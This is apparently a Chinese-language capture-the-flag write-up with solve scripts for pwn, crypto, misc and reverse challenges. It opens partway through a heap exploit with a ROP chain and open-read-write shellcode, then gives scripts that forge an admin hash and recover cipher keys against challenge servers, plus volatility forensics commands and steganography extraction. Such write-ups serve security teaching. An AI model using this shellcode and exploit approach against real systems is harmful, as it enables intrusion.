rsi mov edx, 100 xor eax, eax syscall ;// read mov edx, eax mov eax, 1 pop rsi mov edi, eax syscall ;// write jmp exit fail: mov rax, 0x727265206e65706f ;// open error! mov [rsp], rax mov eax, 0x0921726f add eax, 0x01000000 mov [rsp+8], rax mov rsi, rsp mov edi, 1 mov edx, 12 mov eax, edi syscall ;// write exit: xor edi, edi mov eax, 231 syscall ''') edit(9, p32(0) + p32(0x1f8) + p8((stack_addr-0x150 + offset) & 0xff) + b'a' * 0x7 + p64(libc_addr + 0x000000000002c7a9) + p64(libc_addr + 0x000000000002e6c5) + p64(libc_addr + 0x1dbc3a) + p64(libc_addr + 0x644b0) + flat(layout) + shellcode) sh.interactive() # flag{icOpmxhuFMAjgbQkKb7dgSjUrlx0KfNk} Crypto1.TryHash 本题密码算法的设计漏洞其实在于其轮函数f的设计。具体来说其轮函数具有较差的差分性质。 def g(self,v1,v2,x): value = (v1+v2+x)%256 value = ((value<<3) | (value>>5)) &0xff return value def f(self,value): v1,v2 = unpack('>2B',pack('>H',value)) v2 = self.g(v1,v2,1) v1 = self.g(v1,v2,0) value = unpack('>H',pack('>2B',v1,v2)) return value[0] 具体来说,通过数学推导,我们可以发现,对于f来说,当其两个输入的差分为0x8080时,其输出差分100%是0x400。根据这一差分性质,我们可以对该加密算法进行差分分析攻击。差分分析的具体原理可以参考这个blog http://www.theamazingking.com/crypto-feal.php 我们以对最后一轮加密(即第3轮)进行攻击为例,介绍攻击的流程。 我们构造两个特殊的输入 (L0,R0)和 (L0’,R0’)其中 L0 = L0‘, R0 = R0’^0x8080,让服务器加密,得到加密结果 (L3,R3),(L3’,R3’).通过对该加密算法的推导,我们可以得到关于第3轮轮函数f的运算关系。 f(round3_key^L0) = out1 f(round3_key^L0') = out2 out1^out2 = R0^L0^R0'^L0'^0x400 其中,只有round3_key是未知的,其他参数都是已知的。round3_key的大小为2个字节,完全可以通过爆破来得到正确的解。这样我们就把对于整个key的求解,拆分到对于轮密钥的求解,爆破复杂度从 2^64降低到了 2^16 需要注意的是对于一组明密文对,可能有多个符合关系的解,我们可以同时对多组明密文对进行求解,来过滤掉错误的解。 依次类推,可以用相似的方法得到第1,2,3轮的轮密钥。有了这三轮的轮密钥后,可以通过逆运算很块的求解出第0轮的密钥,最终恢复出整个密钥。 完整解题脚本 from pwn import * from gmpy2 import * from hashlib import sha256 from ctypes import * from Crypto.Util.number import * def encrypt(text,key): text=[text[i:i+16:] for i in range(0,len(text),16)] delta=0x9e3779b9 s=c_uint32(0) ct=[] for t in text: t0=c_uint32(int(t[0:8],16)) t1=c_uint32(int(t[8:16],16)) for i in range(32): s.value=(s.value+delta) t0.value+=(((t1.value<<4))+key[0])^(t1.value+s.value)^(((t1.value>>5))+key[1]) t1.value+=(((t0.value<<4))+key[2])^(t0.value+s.value)^(((t0.value>>5))+key[3]) ct.append(hex((t0.value<<32)|t1.value)) return ct def decrypt(ctext,key): ctext=[ctext[i:i+16:] for i in range(0,len(ctext),16)] s=c_uint32(0) delta=0x9e3779b9 s.value=delta<<5 mt=[] for t in ctext: t0=c_uint32(int(t[0:8],16)) t1=c_uint32(int(t[8:16],16)) for i in range(32): t1.value-=(((t0.value<<4))+key[2])^(t0.value+s.value)^(((t0.value>>5))+key[3]) t0.value-=(((t1.value<<4))+key[0])^(t1.value+s.value)^(((t1.value>>5))+key[1]) s.value-=delta m=((t0.value<<32)|t1.value) mt.append(hex(m)) return mt s = remote("8.134.37.86",21146) s.recvuntil("XXX+") a = s.recvuntil(")") la = a[:-1] s.recvuntil("==") a = s.recvuntil("\n") a = a[1:-1] print(la,a) strs='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' def get(): for i in range(64): for j in range(64): for k in range(64): for l in range(64): t = strs[i]+strs[j]+strs[k]+strs[l] m = t + la.decode() p = sha256() p.update(m.encode("UTF-8")) d = p.hexdigest() if a.decode() in d: return t ans = get() print(ans) s.sendline(ans) s.recvuntil(b"ce:") s.sendline(b"0") s.recvuntil("for you") s.sendline(b"Iamthesuperadmim") strs=s.recvline() c = bytes_to_long(strs[:-1]) c = hex(c)[2:] c += (8-(((len(c)-1)%8)+1))*'0' key = hex(bytes_to_long(b"Iamthesuperadmim"))[2:] key=[int(key[i:i+8],16) for i in range(0,len(key),8)] m=decrypt(c,key) print(m[-1]) c = m.pop()[2:] c += (8-(((len(c)-1)%8)+1))*'0' key = hex(bytes_to_long(b"Iamthesuperadmin"))[2:] key=[int(key[i:i+8],16) for i in range(0,len(key),8)] m=encrypt(c,key) m = m.pop() print(m) s.recvuntil(b"ce:") s.sendline(b"1") s.recvuntil(b"?") s.sendline(long_to_bytes(eval(m))) print(s.recvline()) 或者from ctypes import c_uint32 as uint32 delta = 0x9E3779B9 sm, delta = uint32(0), uint32(delta) for i in range(32): sm.value += delta.value print(hex(sm.value)) #0xc6ef3720 from pwn import *from ctypes import *from hashlib import sha256from ctypes import c_uint32 as uint32from struct import pack, unpackdef Pow(end, sha): table = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz" for a in table: for b in table: for c in table: for d in table: s = (a + b + c + d).encode() + end.encode() if sha256(s).hexdigest() == sha: return a + b + c + d def myhash(msg, identification): delta = 0x9E3779B9 v0, v1 = map(uint32, unpack('>2I', msg)) k0, k1, k2, k3 = map(uint32, unpack('>4I', identification)) sm, delta = uint32(0), uint32(delta) for i in range(32): sm.value += delta.value v0.value += ((v1.value << 4) + k0.value) ^ (v1.value + sm.value) ^ ((v1.value >> 5) + k1.value) v1.value += ((v0.value << 4) + k2.value) ^ (v0.value + sm.value) ^ ((v0.value >> 5) + k3.value) return pack('>2I', v0.value, v1.value) def decrypt(msg, identification): delta = c_int32(0xc6ef3720) v0, v1 = map(uint32, unpack('>2I', msg)) k0, k1, k2, k3 = map(uint32, unpack('>4I', identification)) for i in range(32): v1.value -= ((v0.value << 4) + k2.value) ^ (v0.value + delta.value) ^ ((v0.value >> 5) + k3.value) v0.value -= ((v1.value << 4) + k0.value) ^ (v1.value + delta.value) ^ ((v1.value >> 5) + k1.value) delta.value -= 0x9E3779B9 return pack('>2I', v0.value, v1.value)#https://www.icode9.com/content-1-1126418.htmlp=remote('8.134.37.86',24014)p.recvuntil(b'sha256(XXXX+')end=p.recv(16).decode()p.recvuntil(b' == ')sha=p.recvuntil('\n')[:-1].decode()xxxx=Pow(end,sha)p.recvuntil(b'Give me XXXX:')p.sendline(xxxx.encode())p.recvuntil(b'Choice:\n')p.sendline(b'0')p.recvuntil(b'I can hash for you')p.sendline(b'a'*16)userhash=p.recvuntil('\n')[:-1]adminpass = b'Iamthesuperadmin'nounce=decrypt(userhash,b'a'*16)hasher=myhash(nounce,adminpass)p.recvuntil(b'Choice:\n')p.sendline(b'1')p.recvuntil(b'Are you admin?')p.sendline(hasher)p.interactive()2.baby_Geometry 考察ecc加密,p选择的很小,可以直接枚举k获得私钥。 提供了一个图片,发现是ECC算法,提供的阶数很小,可以直接爆破出密钥,解密脚本如下: msg=[ [1872,4517], [226,2], [2267,970], [6239,241], [2859,3408], [5000,774], [1568,6031], [2879,587], [2579,2114], [2267,970], [1568,6031], [2879,587], [2267,970], [4070,5982], [5388,2334], [5873,5782] ] a = 1 b = 5 p = 6277 E = EllipticCurve(GF(p), [a,b]) G = E([10,180]) k=381 r=6 for i in range(len(msg)): print(E(msg[i])-k*r*G)) 得到明文msg: 转成文本 或者p=6277a=1b=5E=EllipticCurve(GF(p),[a,b])G=E(10,180)K=E(5756,864)r=6for i in range(G.order()): if K==i*G: k=i breakC2=r*Gx=[1872,226,2267,6239,2859,5000,1568,2879,2579,2267,1568,2879,2267,4070,5488,5873]y=[4517,2,970,241,3408,774,6031,587,2114,970,6031,587,970,5982,2334,5782]m=""for i in range(16): C1=E(x[i],y[i]) m+=chr((C1-k*C2)[0])print(m)print("flag{"+m+"}") 得到最终flag: flag{GEoM3t2Yfo2YoUXD} 4.Crypto_mycipher from hashlib import sha256 import random from pwn import * from pwnlib.util.iters import bruteforce from struct import pack, unpack def g(v1,v2,x): value = (v1+v2+x)%256 value = ((value<<3) | (value>>5)) &0xff return value def f(value): v1,v2 = unpack('>2B',pack('>H',value)) v2 = g(v1,v2,1) v1 = g(v1,v2,0) value = unpack('>H',pack('>2B',v1,v2)) return value[0] def decrypt_ecb(cipher,key): msg = '' for i in range(0,len(cipher),4): msg += decrypt(cipher[i:i+4],key) return msg.strip('\x00') def decrypt(msg,key): subkeys = unpack('>4H',key) left,right = unpack('>2H',msg) left = right^left for i in range(3): left,right = right,left left = left^f(subkeys[2-i]^right) right = right^subkeys[3] return pack('>2H', left, right) def encrypt_ecb(msg,key): l = len(msg) if l%4 !=0: msg = msg+'\x00'*(4-(l%4)) cipher = '' for i in range(0,len(msg),4): cipher += encrypt(msg[i:i+4],key) return cipher def encrypt(msg,key): subkeys = unpack('>4H',key) left,right = unpack('>2H',msg) right = right^subkeys[3] for i in range(3): tmp = left^f(subkeys[i]^right) left = right right = tmp left = right^left return pack('>2H', left, right) def dfa_f(): for i in range(1000): input1 = random.randint(0,0xffff) output1 = f(input1) input2 = input1^0x8080 output2 = f(input2) assert(output1^output2 == 0x400) def genpayload1(num): payload = '' for i in range(num): data1 = random.randint(0,0xffff) data2 = random.randint(0,0xffff) data2diff = data2^0x8080 payload += pack('>2H',data1,data2) payload += pack('>2H',data1,data2diff) return payload def genpayload2(num): payload = '' for i in range(num): data1 = random.randint(0,0xffff) data2 = random.randint(0,0xffff) data2diff = data2^0x400 payload += pack('>2H',data1,data2) payload += pack('>2H',data1,data2diff) return payload def testkey_round3(pairs,key): for pair in pairs: output1 = pair[0] output2 = pair[1] output1_0,output1_1 = unpack('>2H',output1) output2_0,output2_1 = unpack('>2H',output2) f_out_diff = output1_1 ^ output2_1 ^0x400 f_in1 = key^output1_0^output1_1 f_in2 = key^output2_0^output2_1 if(f(f_in1)^f(f_in2)==f_out_diff): continue else: return False return True def testkey_round2(pairs,key,r3key): for pair in pairs: output1 = pair[0] output2 = pair[1] output1_0,output1_1 = unpack('>2H',output1) output2_0,output2_1 = unpack('>2H',output2) output1_r3_1 = output1_0^output1_1 output2_r3_1 = output2_0^output2_1 f_out_diff = output1_r3_1^output2_r3_1^0x400 f_in1 = key^output1_1^f(r3key^output1_r3_1) f_in2 = key^output2_1^ f(r3key^output2_r3_1) if(f(f_in1)^f(f_in2)==f_out_diff): continue else: return False return True def attack_round1(msg,cipher,keys): ciphers = [cipher[i:i+4] for i in range(0,len(cipher),4)] msgs = [msg[i:i+4] for i in range(0,len(msg),4)] c = ciphers[0] m = msgs[0] output0,output1 = unpack('>2H',c) output0 = output0^output1 input0,input1 = unpack('>2H',m) candkeys = [] for key in keys: r2k,r3k = key output_r2_1 = output0 output_r2_0 = output1^f(r3k^output0) output_r1_1 = output_r2_0 output_r1_0 = output_r2_1^f(r2k^output_r2_0) k0 = output_r1_0^input1 for k in range(0x10000): f_in = k^output_r1_0 f_out = output_r1_1^input0 if f(f_in) == f_out: candkeys.append([k,r2k,r3k,k0]) return candkeys def attack_round2(msg,cipher,keys): ciphers = [cipher[i:i+4] for i in range(0,len(cipher),4)] cipher_pairs = [(ciphers[i],ciphers[i+1]) for i in range(0,len(ciphers),2)] candkeys = [] for r3k in keys: for key in range(0x10000): if testkey_round2(cipher_pairs,key,r3k): candkeys.append([key,r3k]) return candkeys def attack_round3(msg,cipher): ciphers = [cipher[i:i+4] for i in range(0,len(cipher),4)] cipher_pairs = [(ciphers[i],ciphers[i+1]) for i in range(0,len(ciphers),2)] candkeys = [] for key in range(0x10000): if testkey_round3(cipher_pairs,key): candkeys.append(key) return candkeys def exploit(): con = remote('127.0.0.1',10005) context.log_level = 'debug' con.recvuntil("XXXX+") d = con.recvuntil(")")[:-1] con.recvuntil(" == ") target = con.recvline().strip() ans = bruteforce(lambda x: sha256(x+d).hexdigest() == target,string.letters+string.digits,4) con.sendlineafter("Give me XXXX",ans) con.recvuntil('is:') flag = con.recvline().strip() payload = genpayload1(6)+genpayload2(6) con.sendlineafter(':',payload) cipher = con.recv(len(payload)) cipher_round3 = cipher[:48] msg_round3 = payload[:48] possible_keys = attack_round3(msg_round3,cipher_round3) print 'round3 keys maybe:', possible_keys cipher_round2 = cipher[48:96] msg_round2 = payload[48:96] possible_keys = attack_round2(msg_round2,cipher_round2,possible_keys) print 'round2 keys maybe:', possible_keys possible_keys = attack_round1(msg_round2,cipher_round2,possible_keys) print 'round1&0 keys maybe:',possible_keys for key in possible_keys: real_key = pack('>4H',*key) print 'decrypt with key ',repr(real_key) print repr(decrypt_ecb(flag,real_key)) con.close() def exploit_local(): key = os.urandom(8) print repr(key) payload = genpayload1(6)+genpayload2(6) cipher = encrypt_ecb(payload,key) cipher_round3 = cipher[:48] msg_round3 = payload[:48] possible_keys = attack_round3(msg_round3,cipher_round3) print 'round3 keys maybe:', possible_keys cipher_round2 = cipher[48:96] msg_round2 = payload[48:96] possible_keys = attack_round2(msg_round2,cipher_round2,possible_keys) print 'round2 keys maybe:', possible_keys possible_keys = attack_round1(msg_round2,cipher_round2,possible_keys) print 'round1&0 keys maybe:',possible_keys flag = 'flag{test}' flag = encrypt_ecb(flag,key) print decrypt_ecb(flag,key) for key in possible_keys: real_key = pack('>4H',*key) print 'decrypt with key ',repr(real_key) print repr(decrypt_ecb(flag,real_key)) exploit() Misc1.Login签到签到就是加入QQ群,群公告里面有 FLAG flag{e7gRR32wJJcHwQjwc2k9qFZ6fvn3gZ8P} 2.baby_GeometryECC 参考 https://blog.csdn.net/sitebus/article/details/82835492 from sage.all import * a = 6277 x = 1 y = 5 EC = EllipticCurve(Zmod(a), [x, y]) G = EC(10, 180) P = EC(5756, 864) r = 6 lists = [ (1872, 4517), (226, 2), (2267, 970), (6239, 241), (2859, 3408), (5000, 774), (1568, 6031), (2879, 587), (2579, 2114), (2267, 970), (1568, 6031), (2879, 587), (2267, 970), (4070, 5982), (5488, 2334), (5873, 5782) ] m = [] for c in lists: C = EC(c) M = C - r * P m.append(M[0]) print("flag{" + bytearray(m).decode() + "}") 3.rrrgggbbbRGB最低位隐写 三个通道都隐藏了信息,直接stegsolve将其提取出来,发现三个文件头有相似结构, 根据题目提示以及已有可见字符,可以推断组合方式就是r->g->b顺序按字节轮流填充即可 r = open("r","rb").read() g = open("g","rb").read() b = open("b","rb").read() length = len(r) print(len(r),len(g),len(b)) file = open("flag","wb+") for i in range(length): file.write(r[i].to_bytes(1,byteorder='little',signed=False)) file.write(g[i].to_bytes(1,byteorder='little',signed=False)) file.write(b[i].to_bytes(1,byteorder='little',signed=False)) file.close() 或者with open(r'f:\share\20210923\r.dat','rb') as f1: data1=f1.read()[:202] with open(r'f:\share\20210923\g.dat','rb') as f2: data2=f2.read()[:202] with open(r'f:\share\20210923\b.dat','rb') as f3: data3=f3.read()[:202] data=b'' for i in range(202): data+=bytes([data1[i],data2[i],data3[i]]) print(data.hex()) 发现是BPG格式文件,是一种特殊的图片,直接bpgview工具查看即可得到flag,工具链接 https://bellard.org/bpg/bpg-0.9.8-win64.zip 4.Browserimageinfo发现是win7 提示默认浏览器 参考 https://blog.csdn.net/weixin_29811891/article/details/118350644 提取第一部分 volatility -f Browser.raw --profile=Win7SP0x86 printkey -K "SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice" 得到MSEdgeHTM 第二部分grep搜 filescan | grep Edge 得到版本号,92.0.902.78 桌面存在浏览器备份文件 dump后sqlite打开 volatility -f Browser.raw --profile=Win7SP0x86 dumpfiles -Q 0x000000007d95f648 --dump-dir . 找num_visits最多的,拼接 MSEdgeHTM_92.0.902.78_https://weibo.com/login.php md5后即为flag 或者 .\volatility.exe -f .\Browser.raw --profile=Win7SP1x86_23418 printkey -K "Software\ Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice" 得到默认浏览器 MSEdgeHTM .\volatility.exe -f .\Browser.raw --profile=Win7SP1x86_23418 filescan 搜索 Edge\Application 得到版本号 92.0.902.78 搜索 Web Database 文件并导出 .\volatility.exe -f .\Browser.raw --profile=Win7SP1x86_23418 dumpfiles -Q 0x00000 0007d95f640 -D ./ 修改后缀为.db 用 SQLite Database Browser 直接打开 得到浏览次数最多的网站 https://weibo.com/login.php 组合再 md5 加密一下得到 flag MSEdgeHTM_92.0.902.78_https://weibo.com/login.php flag{a7de3bb43d18196f4ca5570aa8755db9}或者先是拿到1.默认浏览器(请给出在注册表中可证明它是默认浏览器的对应的值,如:IE.HTTP)一般都在注册表,耐心翻翻./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 hivelist./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 hivelist -o 0x8f484880看到追加到注册表的地址 然后去检索win7 的注册表./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 dumpfiles -Q0x000000007da2abf0 -D ./ 下载下来导入navicat 降序下然后就能看到https://weibo.com/login.php拼接MSEdgeHTM_92.0.902.78_https://weibo.com/login.php得到flag Re 1.evvverse IDA打开定位main函数 发现程序先进行flag格式判断,然后RC4加密,后面又经过AES加密 这里有误导,其实不是des 动态调试获得key和iv,然后和固定字符串比较,因此对字符串先解AES,再解RC4即可得到正确的输入。 模拟程序加密流程验证如下: 参考链接: https://mp.weixin.qq.com/s/TE6KokKr9mpjGtQ9mOe2MQhttps://blog.csdn.net/qq_45603443/article/details/120475301?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-2.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-2.no_search_link